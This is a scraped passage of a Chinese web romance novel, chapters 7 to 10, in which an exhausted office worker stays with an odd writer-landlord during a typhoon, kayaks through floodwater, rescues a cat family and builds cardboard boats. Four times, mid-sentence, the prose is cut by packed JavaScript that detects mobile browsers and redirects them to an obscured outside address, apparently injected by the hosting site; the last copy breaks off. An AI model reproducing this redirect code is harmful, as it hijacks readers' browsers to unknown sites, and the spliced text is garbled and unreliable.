“我暂时不回去了,你和我爸别担心。注意身体。” 挂断电话,韩暑又呆愣愣地躺了好一会,不知什么时候睡着了。 梦里,她回到了那熟悉的办公楼,抱着一踏熟悉的文件等电梯。可左等右等都不来,又着急找领导签字,便去走楼梯。 一进楼梯间,她听到了同事的议论声。 “韩暑太卷了,有她在显得咱一直在摸鱼。烦死了!” “她怎么那么奇怪?别人给她什么活她都接,而且不管什么恶心活都特认真。” “是啊,有那么大干劲还在这单位干什么干?” “真看不惯她对谁都笑脸相迎的样子……” 和现实一样,她折回电梯间继续等,假装什么都没听到。 和现实一样,她也很厌恶这样的自己。 被手机震动声吵醒,枕边一片濡湿。 韩暑拿起手机一看,是凌琳的消息。 【凌琳:还在加班,你那边怎么样?房东还有没有其他奇怪的表现?】 韩暑蹭了蹭脸,单手敲键盘。 【韩暑:乌龙,他就是个脑洞很大的作家。我这都好,你先忙。】 【凌琳:[OK]加完班call你】 【韩暑:[等你]】 竟然一觉睡到了晚上八点。 中午没怎么吃又错了过晚饭时间,此刻饥肠辘辘。韩暑爬起来,毫不犹豫地冲向厨房。 走廊客厅一片昏暗,她悄声隐去脚步,却被感应灯敏锐察觉。淡橘色的暖光在空气中蔓延,依旧没穿破眸底的浓雾。 拐过电视墙,餐厅和敞开式厨房一目了然,亮着一盏冷白的顶灯。 餐桌上,只剩她用过的碗还摆在原位。 水槽边,两只手沾满泡沫的男人一边搓洗碗盘,一边盯着支在窗台上的pad。 韩暑驻足。 闻知屿似乎正在看什么视频,原本面无表情的俊脸上,浓眉慢慢蹙起。看了一会,介于薄厚之间,还没完全恢复的唇也抿成了一条直线。又看了一会,胸腔明显起伏了几下,重心在左右脚之间移动。 “啧。” 他发出不满的声音,然后弯腰躬身,把下唇撅出二里地,触及屏幕,点了下退出。 韩暑:? 小夫?是你吗小夫? 闻知屿直起身,把洗好的盘子放在另一个水池,继续用泡沫搓下一个碗。一边洗,一边用眼神浏览视频缩略图。 看完一页,“小夫”再次弓腰撅嘴下滑屏幕。 重复了几次,闻知屿终于找到了满意的视频,下唇点开。可不知道是不是声音大小不合适,他叹了口气,用“小夫”的嘴去调音量。 这可比点开或者关掉一个视频难很多。是以他小鸡啄米似的啄了半天,还没对准音量键。 ……这个人总是用这一张闭月羞花的帅脸,做一些匪夷所思的事情。 韩暑忽然有些羡慕闻知屿。好奇究竟什么样的成长环境,能形成一个这样奇怪却又独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903485|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立的人格。 他可以冷漠地面对住客,不去考虑自己的态度会不会为他人带来不快。他可以在台风天随自己的心意去玩跳跳杆,不去考虑淋湿了衣裳或者风大会吹感冒这类现实的因素。他还拥有写作的天赋和能力,去从事一项很有意义的输出型事业。 下午,她搜索了下作家闻知屿,很多帖子、新闻将他评作“天马行空的鬼才”,将他的作品评作“荒谬诡谲的美学”。而她看到的那一本以透明血管为开篇的小说,按照书评来看,是用夸张的方式展现血缘的纽带和束缚的二重性。 很奇妙的设定,很出色的理解。 韩暑慢慢走过去,伸手按下音量键。 闻知屿紧急撤回了一片下嘴唇。 “调高吗?” 闻知屿带着蓝牙耳机,听不真切,“嗯?” 韩暑指了下音量,食指向上。 闻知屿顿悟,绷着嗓音说:“调小,谢谢。” 韩暑照做,撤开的时候,oversize宽大的衬衫蹭过男人挽起的袖口,发出微不可闻的摩挲声。两人都未察觉。 她去住客冰箱里找出一袋速食酸辣粉,扔进开水里等待再次沸腾。 期间,闻知屿洗完第一遍,又用清水冲洗了一遍后把碗盘整期摆放在沥水架上,甩甩手,取下耳机,“第五个问题,方便回答吗?” 韩暑动了动耳朵,对突然的客气还不太习惯,轻声道:“房费,不方便也得方便。” 闻知屿单手合上平板,靠着导台,一条长腿微屈,“一个你可能不喜欢的问题。” 韩暑瞥了眼玻璃锅,确认粉丝还需要煮一阵后转身,倚在他对面的灶台,“请问。” 她还是有点提不起精神来,就像连加一周班之后的倦怠。于是习惯性垂着眼皮看地板。 导台和灶台之间约莫一米的距离。 女人的粉色拖鞋和男人的灰色拖鞋之间,约莫五十厘米的距离。 在雨滴敲打玻璃的声响中,韩暑听到他问:“促使你选择你丈夫的主要原因,是什么?” 脑海中回荡着徐女士和韩先生的耳提面命,她轻声答:“对我好吧。” 说完,韩暑视线上移,发现闻知屿直勾勾地盯着她,神色有些费解。 不知为何,她觉得他在自己身上拼凑着什么人,从这些细碎的问题中拼凑着什么事。 身后响起水沸腾的咕嘟声。 韩暑急忙关小火,“我能不能也问你一个问题?” 男人在沉默了好几秒后,“嗯。” “听口音你不是琼岛本地人吧?选择这里定居的原因是什么呢?”她问。 闻知屿蹙眉,“你也想定居?” “想旅居一段时间。”韩暑从沥水架上拿了一个碗和一只筷子,“所以要参考一下你这个常住人口的看法。” “……”闻知屿问,“那你的丈夫孩子呢?” 韩暑没好气,“不管,我就不能休息一段时间吗?” “……”闻知屿又问,“休息——多久?” 问题先生可以是高冷斯文的,可以是奇怪神金的,但绝不是热情关心住客的。 韩暑关了火,转过身,双手抱臂狐疑道:“你问这干什么?” 闻知屿面露警惕,缓缓直起身,喉结滚动了几个来回后,严肃地说:“我不接受长租,你、不可以住在这里。” 韩暑:……? 8. 第 8 章 自作多情。 韩暑忿忿地打开红色app,又嘟囔了一句:自作多情! 她只是考虑一下旅居的可能性,闻知屿怎么就觉得她赖这不走了? 服务态度为零,服务意识为零,如果长租她怎么可能选这里? 无语,真无语。 韩暑深呼吸调节心情,然后在搜索框里输入:琼岛旅居。 琳琅满目的帖子蹦了出来,她开始认真浏览。 旅居,曾经是坐在工位上的幻想,如今似乎成为触手可及的现实。她不想错过这个机会,也想通过这段时间去看一看平时看不到的风景,认识平时无法接触的人,顺便思考一下未来的路要怎么走。 这一看,便看到了深夜。 头顶正上方,书房,闻知屿双手交叠,面前的笔记本上是只写了“第一章”的空白word,也是枯坐到深夜。 次日清晨,韩暑拉开窗帘的时候眼珠子差点掉出来,要不是院子外那棵探头的树,她会以为自己一夜之间从琼岛瞬移到滚滚黄河。(下过雨后浑浊版) 院子里的植被已经被彻底淹没,混黄的水面漂泊着一些惨遭不测的残枝败体,映着惨淡愁云。 还好,雨小了一些,风也小了一些。距离台风结束更近了一些。 韩暑洗漱完,吃了简易的早餐,又趴在纸箱子旁边听了一会确认有爬行的声音,房东还没有现身。 倒不是在等他,就是一个人在空荡荡的一层,还有点不习惯。 她东张西望,注意力最终还是被一整面书架吸引,于是溜过去负手而立,认真观摩。 从托尔斯泰陀斯托耶夫斯基荣格、堂吉诃德荷马史诗、托马斯曼契诃夫道柏拉图康德福柯弗洛伊德维特根斯坦,涉猎文学哲学历史等多领域伟大作家和著作。 初高中,韩暑也很爱读这些看似与语文课本、新课标读物无关的书籍,有很好的阅读习惯,却被徐女士坚定的应试教育挤压掉了所有课余时间。等到高中毕业进入大学,看似时间多了自由了些,却再也找不到静下心读书的状态。 书架左上角一整格,是闻知屿已经出版的小说集。鉴于书的收藏性质和私密性,她没有抽出任何一本,只是扫过一排书脊。 《晚安集》《骤雨晴空》《吃骨头》《握住一只太阳》…… 这属于书名诈骗吧? 韩暑咂舌。不敢相信晚安集这么温馨的名字里,第一页是透明血管。 诈骗,但属于心甘情愿的诈骗。还挺有意思。 这时,楼梯传来一阵脚步声和重物拖行的声音。 她从墙角探头一看,闻知屿一手拖着一块灰黄相间的不明物体、右手拿了两只桨。 船桨。 韩暑睁大眼睛,“你这是……” 闻知屿看了她一眼,没应,一路走到客厅中的空地。 在电动充气筒运作的嗡嗡声中,不明物体慢慢鼓了起来。 ——竟然是一个充气皮划艇。 “……”韩暑迟疑,“你、要去外面划船?” “嗯。” 闻知屿收起充气筒,把桨扔进皮划艇后推到门边,折回来套好赶海用的黑色连体裤,又穿上连帽的黑色雨披。一通操作和吃饭喝水一样自然。 韩暑目瞪口呆。与此同时,被他如此坦然承认的态度打动。 男人身形高大瘦削,大步往防盗门走时雨衣下摆翩翩,还挺有仙风道骨的意思。 眼看他提起皮划艇就要开门,韩暑嘴巴比脑子快,喊了一句等一下,然后小跑两步追过去,“我也去……行吗?” 闻知屿一愣,回过身来,“什么?” 他的眉心拧成一道浅川,微微低头看她的时候,眼下的乌青格外明显,男鬼味扑面而来。他似乎没睡好,心情也很不好,比刚入住那天的态度更冷冰冰一些。 韩暑挠挠颈侧,明知有些越界还是坚持问道:“两只桨,我能和你一起划皮划艇吗?” 闻知屿抬手摁眉心,在雨衣婆娑的沙沙声中反问:“积水很脏,你有防水的衣服吗?” “这个好办。” 当韩暑穿着大塑料袋现做的低配雨裤雨披回到门廊,闻知屿的表情有些古怪。估计雨衣是找个借口拒绝,没想到她用超强的动手能力解决了。 “我多回答很多问题,当皮划艇艇费,行吗?” “……” 虽说闻知屿不太乐意,但在韩暑上皮划艇重心不稳时还是握住了她的手臂,一直等坐好才松开。 韩暑抱着桨,“谢谢。” 闻知屿在她身后坐定,“会划吗?” “不会,你教我一下呗?” “我也不会。” “……” 于是两人在院子里原地打转了五分钟,这才找到一点手感,开院门划了出去。 门口的台阶彻底淹没,韩暑坐在皮划艇里,不需要探头,视线便能轻而易举的越过所有别墅的院墙。原先高大的树木矮了一截,路过时她摸了摸树干,手感冰凉又潮湿。 世界都变得不一样了。 韩暑眨眨眼,甩掉睫毛上的雨滴,“感觉好神奇。” 身后只有船桨划水的声音,无人应答。她适时闭嘴,生怕惹闻知屿不高兴把自己流放下船,也专心的划起来。 拐过第一个弯,又往巷子里划了约莫二十米,在途径一户的时候,一个男人抱着孩子看见了皮划艇。他拉开窗户,和孩子说这些什么,隐约能听到笑声。 韩暑藏在塑料袋的脸颊有点烧烫,划浆的速度也快了些。而毫无防备的闻知屿还在以原速度行进,一左一右,于是原地旋转了九十度,头部撞到了对侧人家的院墙。 “……不好意思。”韩暑赶紧调整,但在那一大一小两道视线中,越着急越出错。皮划艇再次在原地打转。 “先别划。”闻知屿叫停,手推了一把墙送出距离,然后用一只桨左右划了几下,方向终于回正。全程都很冷静,操作也很利落,根本看不出是刚刚自学成才的菜鸡。 当那一对父子消失在视野中,韩暑按捺不住好奇,“他们一直看我们,你不觉得尴尬吗?” “为什么?”闻知屿问。 韩暑回过头,“在积水里玩皮划艇这么古怪的事情,有人一直盯着你还笑哎!” 闻知屿划浆的动作不停,黑色帽子下神色很淡,“别人的眼光和我有什么关系?” 韩暑凝视他半晌,发自内心道:“怎样才能练成你这样优秀的心态……” 闻知屿掀起眼皮,“回炉重造吧。” “……” 毒舌。 韩暑不再看他。 过了一会,闻知屿问:“既然觉得古怪尴尬,为什么非要来?” 韩暑耷拉着脑袋,有些惆怅,“就是好奇你啊。” 闻知屿瞳孔一颤,隔着塑料袋瞪那只蘑菇脑袋。 什么意思?她为什么关心他?他们的关系还没到这一步吧? “好奇你怎么能如此坦然地做一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903486|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很离谱的事情。” 不是关心他本人就好,他可不想和蘑菇脑袋有过多牵扯。闻知屿刚要舒口气,又被当面狠狠一击,蹙眉问:“……皮划艇很离谱吗?” 韩暑不答,又道:“还好奇你做这些事的时候,在想什么。” 闻知屿警钟又响,骄矜反问:“和你有关系吗?” 快说没关系! 果然秦建翎说的没错,男人也要保护好自己! 蘑菇脑袋却不说话,还松了桨,从盘腿坐蛄蛹着换成跪姿。单人皮划艇本来空间就小,她一动,塑料袋雨衣就糊到了闻知屿脸上。 皮划艇主人有点烦燥,决定立刻把这碍眼的蘑菇送回去,正要实践,被韩暑抓住了划浆的手。 手背上,是有点冰凉又很柔软的陌生触感,闻知屿手一哆嗦,桨差点掉水里,立刻很大声地说:“你不要侵犯我的圆柱体!” 谁知韩暑不仅没松手,还用力摇晃了几下,“你快看你快看!那个树杈上是不是有一只小猫?!” 那是一棵年轻的榕树,三个树枝向不同方向伸展,树杈正中有一处明显的凹陷,隐约能看到一只毛茸茸的橘色脑袋。确实是一只猫,一只还未成年的橘猫。 闻知屿想到那两只壁虎,眯了眯眼,“你要养?” “你猫毛过敏吗?”韩暑巴巴地回望,无意识将手攥得更紧了,“台风天动物很难生存的,收留几天可以吗?” 闻知屿发觉自己的脑子无法正常运转了。他对猫毛不过敏,只是不喜欢猫,就像不喜欢壁虎不喜欢一切生物包括人类一样。她怎么一直拉着他的手? 他也不喜欢这只越界的蘑菇脑袋。她怎么能提出在别人的房子里养猫?一想到猫喵喵叫到处乱跑的样子他就难受。她怎么一直拉着他的手? 她怎么一直不松手?! 闻知屿喉结滚动了好几下,说:“你已经结婚了。” “哈?”韩暑茫然地眨眼。 “你要占单身男青年的便宜到什么时候?” 韩暑顺着闻知屿垂落的视线看去,这才发现自己一直抓着那只骨节分明的手。她像烫到似的一把甩开,连连摆手道:“抱歉抱歉抱歉,我不是故意的我就是看到猫有点激动……” 她在内心暴风尖叫:救命啊!他不会以为她在故意揩油吧?! 最重要的是,这可是她成年之后第一次牵异性的手!对象竟然是个……是个…… 好吧,是个帅哥。 闻知屿被她用力甩开,船桨第二次险些脱手。稳住后,他胸腔起伏了几下吐出浊气,“这么小的猫,大猫肯定也在附近。” ——台风已过,有妈照顾,没大问题。 韩暑恍然大悟,一拍船沿,“对啊!那能不能连猫妈妈一起收留几天?” 闻知屿:……? 韩暑转了个方向冲他跪坐,“它们只会待在我的房间绝不出去半步,台风结束后放走它们,我会把房间收拾到一根猫毛都没有,绝对不会影响你的生活。” 如此情真意切,房主却阴沉着脸。 韩暑没辙了。她知道这样的要求有点过分,但是又实在不忍心几个小生命出现意外。于是双手合十指尖抵住下巴,扑闪着两只水灵灵的杏眸,就差热泪两行,“不到三个月的小猫很脆弱的,求求你了闻知屿……” 闻知屿依旧蹙着眉,黑眸冷睨,薄唇抿得死紧。 但是他耳朵红了。 闻知屿:真是一个得寸进尺的女人!他一定会坚守底线! 9. 第 9 章 “咪咪!咪咪看这里!” 韩暑怀里抱着刚回去取的纸箱,一手将伞撑开反提贴住树干。谁知小橘猫嗖地缩回脑袋,只露出两只小耳朵。 “咪咪?” “咪咪没事的,下来吧咪咪!” “咪咪!” 闻知屿被密集的咪咪咪得脑壳疼,“有没有可能它在等它妈,不想跟你走?” 韩暑倏然回眸,“你答应收留它们的!” “前提是它们愿意被收留。” 雨雾蒙蒙,闻知屿屈着两条长腿大剌剌坐着,雨衣帽子兜住了大半额头,一副袖手旁观的淡然。 没人味。 韩暑暗暗吐槽了一句,扶着树干小心地站了起来。这才发现,约莫两柞宽的分杈上,有两只长得一模一样的小橘猫。 “闻知屿这有两只小猫!” “……” 小猫们瑟缩,被突如其来的变化吓得飞机耳。 她慢慢伸手,一点一点靠近,轻柔地摸了几下小脑袋表示无恶意,“没事的咪咪,别怕……你怎么湿淋淋的像只小刺猬?这可怜见的……” 韩暑的声音清脆,这会夹子音起来又甜又糯,刚好是小动物喜欢的音域。没一会,小猫的耳朵动了动,弓起的脊背也平缓了些。 “哎呀你可真乖!哪里来的这么乖的小猫咪呀!”她喜滋滋地又摸了两把,以迅雷不及掩耳之势一手提住一只猫咪的后颈。之后冲闻知屿一抬下巴,“昂!咪咪说它愿意。” 闻知屿眉心微动,“你用那么吓人的音色和它讲话,它不敢不愿意。” “……” 韩暑狠狠剐了他一眼,才慢吞吞地抵住树干坐回来。皮划艇气充足,但毕竟不是硬地,需要极其小心地保持平衡,加上两手被两只猫占据,属于难上加难。 结果就是她膝盖被前方的纸箱子别了下,滑行落地变垂直降落—— 韩暑呆滞了,闻知屿也是。 问题先生变身单人沙发,硬邦邦的胸膛是靠背,两条敞开的长腿是扶手。韩暑165的身高躺着刚合适。 半晌,她的眼珠子寸寸上移,“对、对不起?” 闻知屿的下巴颏恰好卡着蘑菇脑袋,咬牙,“我、有关系。” “喵!” 小猫不太舒服,在韩暑手里挣扎,也打破了僵局。她手忙脚乱地爬起来,把小猫们放进纸箱,安抚了好一会后,缩着脖子不敢动了。 好丢人好尴尬!可她真不是故意的!他不会又觉得已婚女性骚扰他吧?他不会继认为她谋财害命之后,认为她要劫色吧? 幸好幸好,闻知屿没说什么,拿起桨继续划行。可尴尬的气氛随潮湿的空气蔓延,无孔不入。 在别墅区里绕了好一会,闻知屿问:“你确定附近有母猫?” “应该会有。”韩暑依旧缩着脖子,抱着纸箱子,头都不敢回。 “找不到呢?” 她嘟囔,“那就没办法了。” 从后看,蘑菇脑袋几乎缩成了一小团。闻知屿觉得,和那只见了水的小猫相比没太大区别。 ——都很麻烦。 他别开眼,“这猫没断奶,带回去怎么养?” 韩暑弱弱地说:“住客冰箱里的奶是舒化奶,猫可以喝的。” 对话陷入死角,沉默再次来袭。 两人绕了一大圈,走遍了所有的路,还是没找到猫妈妈的踪迹。 “要不……”韩暑小小声,“咱们回刚才那棵树蹲守一下?” 说完,她听到身后男人的呼吸明显变了频率,似乎有些不耐烦。不过皮划艇还是在雨中稳稳转了向。 “猫妈妈可能去找吃的了,但肯定会回去找自己的孩子。咱们再等半小时,等不到就回,可以吗?” “如果我说不可以呢?” 韩暑毫不犹豫,“那我就蹚水等。” 过了好几秒,身后传来嘁的一声。 韩暑小心翼翼地追问:“那、可以吗?” 闻知屿没应,却一路划到发现小猫的树旁停下,把桨横放在两侧船沿,双手抱臂,双眼一阖,老僧入定似的。 韩暑不觉勾唇。口嫌体直,嘴硬心软。问题先生还是有那么一丁点人味的。 雨又大了起来,涟漪半径随之缩小,有活泼的水柱自圆心跳跃而出。置身于雨声潺潺,韩暑却时不时用手背蹭眼皮清晰视线,随着时间推移愈发心焦。 半小时之后,正当她绞尽脑汁编理由拖延时间时—— “喵!” 韩暑动了动耳朵,有些不确定,“你听到了吗?” 闻知屿猝然睁眼,“左边。” 左边是一个凹字形断头巷,皮划艇不方便进去,只能停在巷口。韩暑跪在艇上仔细观察,终于在角落发现了一个浮在水面的橘色脑袋。看花色是猫妈妈没错。 她反打雨伞,探身去够,可还是差点距离。 “咪咪,上来!” 橘猫接连被皮划艇和雨伞两个庞然大物吓到,不仅不靠近,还往反方向扑腾,神情格外惊恐。 韩暑无法,只得扶着船沿继续探身。 忽然,身后的塑料袋制雨衣下摆动了动,里面的衬衫下摆一沉。 她回头,便见闻知屿依旧冷着张脸,但拉着她衬衫的手却因为用力,手背浮现青筋。 接收到两束疑惑的目光,闻知屿问:“想掉水里?” 韩暑真诚道:“不想,但被你拉着更没安全感。” 闻知屿蹙眉不解。 “我少说也有100斤左右,你……”韩暑扫了眼他的手臂。 那一眼千言万语。 闻知屿:“……” 韩暑摆手,豪迈道:“没事,我一个人更能保持平——啊啊嗷嗷嗷!” 衬衫下摆在男人的掌心只是滑过一厘米,韩暑在失重感中仿佛从万米高空坠落地心。 混黄的积水映在眸底,心跳停止三秒后才勉强恢复。她扶着船沿想要直起身,却发现这个姿势远超于核心力量。简而言之,爬不起来,摇摇欲坠中只有衬衫下摆的力道维持走钢丝一般的平衡。 韩暑艰难回头,怒目而视,“你幼稚不幼稚!” 闻知屿拎着她,莫名想到了方才她拎着那两只小猫。没太大区别,只是手里这只张牙舞爪无能狂怒的猫比较好笑。 他压住差点不听话的唇角,冲左侧一抬下巴,“现在试试。” 韩暑敏锐地察觉某人眼中一闪而过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903487|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意,决定救完猫之后再狠狠谴责。她就着这样的姿势,将雨伞一边没入水中,用力一提,一只偏瘦的橘猫落入掌控。 抓到了! 不需提醒,闻知屿一手抄胳膊肘,将人稳稳拉了回来。 韩暑顾不得自己,赶紧把猫妈妈放进箱子。两只小猫嗅到熟悉的气味,跌跌撞撞地走过来。原先冻得瑟瑟发抖的大猫立刻侧卧亮出肚皮。 她这才放下心,合上盖,把纸箱抱在怀里。此情此景骂人不太合适,怒火也被愈发密集的雨滴敲回肚子里。 韩暑偏头道:“谢谢。” 闻知屿耸了下肩,还是没应。 船头比较窄,加入一只大猫的重量后韩暑有些控制不住,只能反过来坐,把纸箱放在两膝之间。 两人面对面,脚尖抵着脚尖。 闻知屿依旧沉着脸,依旧在沉默中认真挥动船桨。 韩暑后知后觉,有些不好意思,“你是不是心情不好?我是不是破坏了你的安排?” “才知道。”闻知屿惜字如金,眼下的乌青愈发瞩目。 韩暑思考了下,“写作不顺利吗?” 闻知屿划桨的手有细微的停顿,随后恢复如常。 这就是说中了。韩暑想了想,“你今天还没问我问题。” “不想问。” “那你想做什么?” “今早起床想玩皮划艇。” “等会我和猫咪着陆,你继续玩。” “这会没心情了。” “……”韩暑语塞。 真是一个善变又琢磨不透的男人。但是转念一想,创作是一件需要灵感的事情,说不准就是她打断了他的思维。再加上他很不情愿地同意了收留三只猫,韩暑有些过意不去。 “那等有空,我陪你玩个别的?” 闻知屿无焦的视线平移至韩暑的脸上,肉眼可见的亮了一下,旋即装作不在意地问:“玩什么?” 韩暑暗自好笑,“既然你想划船……不然咱们自己造船?我看你家门廊堆积了很多废旧纸箱,用纸箱和胶带做一艘船,谁的坐上去不沉谁赢?” 闻知屿眯了眯眼,“赢了呢?” 韩暑沉吟,“输的人答应赢的人一件事?” 闻知屿没说好,也没说不好。 恰好回到别墅,韩暑单手推开防盗门,闻知屿则用力拉门框,皮划艇终于挤回院子。 双脚触及地面的下一秒,韩暑抱着箱子就跑回房间,打开浴室的暖风后,解除了三只湿淋淋的猫的封禁。大橘猫立刻警惕地缩到角落,躬起脊背,尾巴毛炸起。 见状,她没过多停留,确保体感温度适宜后便离开了。来到陌生的环境,猫咪需要时间去适应。 韩暑大概罗列了下猫咪需要的用品。猫砂买不到得找替代物,喂食喂水的小碗,以及一个柔软的窝。心里有了数,她准备先扔掉脏了的纸箱,然后去寻求房东的赞助。 一拉开门—— 那位据说心情不佳的房东正直挺挺站在她门口,一手提着厚厚一卷胶带,一手提着两把剪刀。 韩暑连连后退,吓得纸箱都脱了手,“你你你在这干什么!” 闻知屿眨巴眼睛,“等你,去玩。” 10. 第 10 章 韩暑把装有生骨肉和清水的两只小碗摆在一进门处,把纸屑搓成的猫砂替代品放在马桶边,又把牺牲了一件外套制作的临时猫窝放在对面的角落。 她敲敲碗沿,“大咪,你别瞪我。这有好吃的!” 猫妈妈大咪虽不像最开始那样怕到炸毛,但还是护着崽、蜷缩在角落里不动。二咪和小咪则好奇地探头,鼻头因嗅闻左右移动。 还好,起码三只咪身上的毛都干了些。 她收起洗手台上的几个瓶瓶罐罐,又用眼神扫过每一个角落,确认不会有易碎易破坏物品后,洗洗手,关门退了出去。 “嘘——” 韩暑摸摸额头,指尖一层薄汗。 路过柔软干爽的大床,她真的很想一头栽到,但是她不行。处理完三只棘手的猫,还有一只棘手的大龄学前儿童。 这位问题先生,总能给她带来……惊吓。虽说对他高冷外表下的神金灵魂已有初步认识,但谁能想到一大男人和幼儿园小朋友似的,眼巴巴等着去做手工呢? 如果时间倒退,她一定给自己嘴上贴块胶布。竟给自己挖坑。 韩暑做足心理建设后,拉开房门。 闻知屿正坐在台阶上,两条长腿蜷曲,一只手肘撑膝、拖着下巴,另一只手有一下没一下转着胶带。察觉动静,他立刻抬眸,“走吗?” 韩暑发自内心地苦笑了下,“你不累吗?明天再玩也不是不——” “现在。”闻知屿起身,点点头,有种视死如归的坚定。 “……” 步入客厅,韩暑惊呆了。 茶几和茶几上的壁虎不知何时被移到角落,腾出来的超大空地上,摆放一左一右两摞已经拆解压扁的纸箱。 闻知屿语调微微上扬,“还需要准备什么?” “……”韩暑对他的行动力叹为观止,那强烈的期待感跟没玩过游戏似的,不禁问道:“纸箱子当船,你小时没玩过吗?” “没有。” “那你小时都玩什么?” “搭积木。” “和小伙伴一起玩的呢?”韩暑好奇。 闻知屿颀长的身形一顿,“我没有小伙伴。” 他的神情语气格外坦然,和说“我没吃饭”“我没喝水”一样坦然。 可没有朋友是一件很奇怪的事情哎…… 韩暑张圆嘴巴,吞吞吐吐道:“啊,这样啊……” 闻知屿屈膝蹲下,比划着纸盒子,似乎在认真构思如何制作。头顶那几根翘起的头发随之微微颤动,有些和外观年龄不符的稚气。 韩暑看在眼里,莫名觉得心酸,看到雨中湿淋淋小猫的那种心酸。最终妥协,叹了口气问:“有保鲜膜吗?” “有。”闻知屿风一样飘走又飘回,“给。” 造船大业正式开始。 韩暑一边裁纸箱一边怀疑人生。 她,25岁新时代女青年,资深牛马社畜,本该套装高跟鞋梳着一丝不苟的发型优雅地坐在办公桌前……现在却撅着屁股在这玩儿童游戏。 剪了一小会,她腰酸背痛腿抽筋,直起身缓了下,顺便瞥了眼竞争对手闻知屿。 他,年龄未知男青年,颇有名气的作家,本该西装革履风度翩翩向采访媒体微笑挥手……现在也撅着屁股在这玩儿童游戏。 没眼看,实在没眼看。 两个撅着屁股的人奋战了整整一个半小时,终于竣工。 “你这……”韩暑背着手巡视竞争船只,“怕是入水要沉吧?” 闻知屿拍拍船头,直起身,颇为骄傲地说:“仿真,从力学上考虑绝对承重。” 闻知屿出品船只属于豪华精致,和真实船只的形状相差无几,甚至还分了前后两个仓。至于韩暑出品,看起来就是块大纸片。放在一起,简直是别墅和茅屋的悬殊对比。 韩暑用脚尖踢了踢船尾,“花里胡哨的……” 闻知屿走到韩暑的船跟前,也用脚尖踢了踢船尾,“潦草的……” 韩暑:…… 小学鸡。 察觉她嫌弃的视线,闻知屿认真道:“公平竞争。” “……”韩暑无语,如果踢一脚都算不公平的话—— “咱俩体重不一样,怎么算公平?”她质问。 闻知屿挑了下单边眉毛,赞许地点了下头,“我和你体重不一样,但我和你加起来的体重一样。” “你意思是,咱俩一起乘船?” “对。” 韩暑扶额,“你是有非常想实现的赌注吗?怎么这么较真?” 闻知屿反问:“你的赌注呢?” 韩暑一屁股坐在沙发上,伸直两条腿拉伸,“随便,洗碗啊什么的都可以。” 闻知屿眨了眨眼。如果微表情可以翻译,那他的意思就是—— 随便?这怎么能随便? 于是闻知屿拍拍手上的灰尘,走到她面前站定,“我的赌注是七天房费,一天一千。” 韩暑:??? 她寸寸抬眸,艰难地挤出一个:“What?” 如果英文有衍生意,那她的意思就是—— 你自己听听你在说什么鬼话?! 闻知屿颔首,“一天一千,七千。” “不是!”韩暑顾不得腿是抽筋还是骨折,一蹦起身,“说好的回答问题抵房费呢?我回答了那么多问题,你好意思收一千?!” “我的民宿,我为什么不好意思?” “你耍无赖!” “是你说的,输的人答应赢的人一个条件。” “那也不能太过分吧?”韩暑瞪大眼睛,“做人留一线,懂?” 闻知屿理了下黑T前襟,在方才韩暑坐的位置坐定,双腿交叠,“不懂。你不想给钱,就赢过我。” 眼神交汇,是彼此都不肯妥协的坚决。 果然,心疼男人是倒霉的开始,就不该多说这一句!就不该答应! 韩暑背过身,吸气呼气。再转回来时皮笑肉不笑道:“那行。如果我赢,你不仅要给我赔偿精神损失费七千,并且在我退房之前不许再问一个问题。” 这下,闻知屿抿了唇,眉宇之间凝重了起来。过了好一会后才点头,“好。” 比赛还未开始,氛围已剑拔弩张。 选手1号拿起赶海用的背带裤,摩拳擦掌。 选手2号却一抬手,“等等!” 闻知屿问:“怎么?” 韩暑摸摸肚子,“我饿了,我要先吃午饭。” 闻知屿继续穿他的盔甲,“很快,比完再吃。” 韩暑不动,理直气壮,“现在都一点了,我没劲,低血糖。” “……” 五分钟后,韩暑端着满满一盘蒜香牛仔骨,就着三小盘精致小菜,配合米饭一起大快朵颐。 “好好吃!”她把唆掉的骨头放进骨碟,甜甜地笑了,“谢谢房东请我吃饭。” 对面,闻知屿咔嚓啃了一口面包片,就着牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 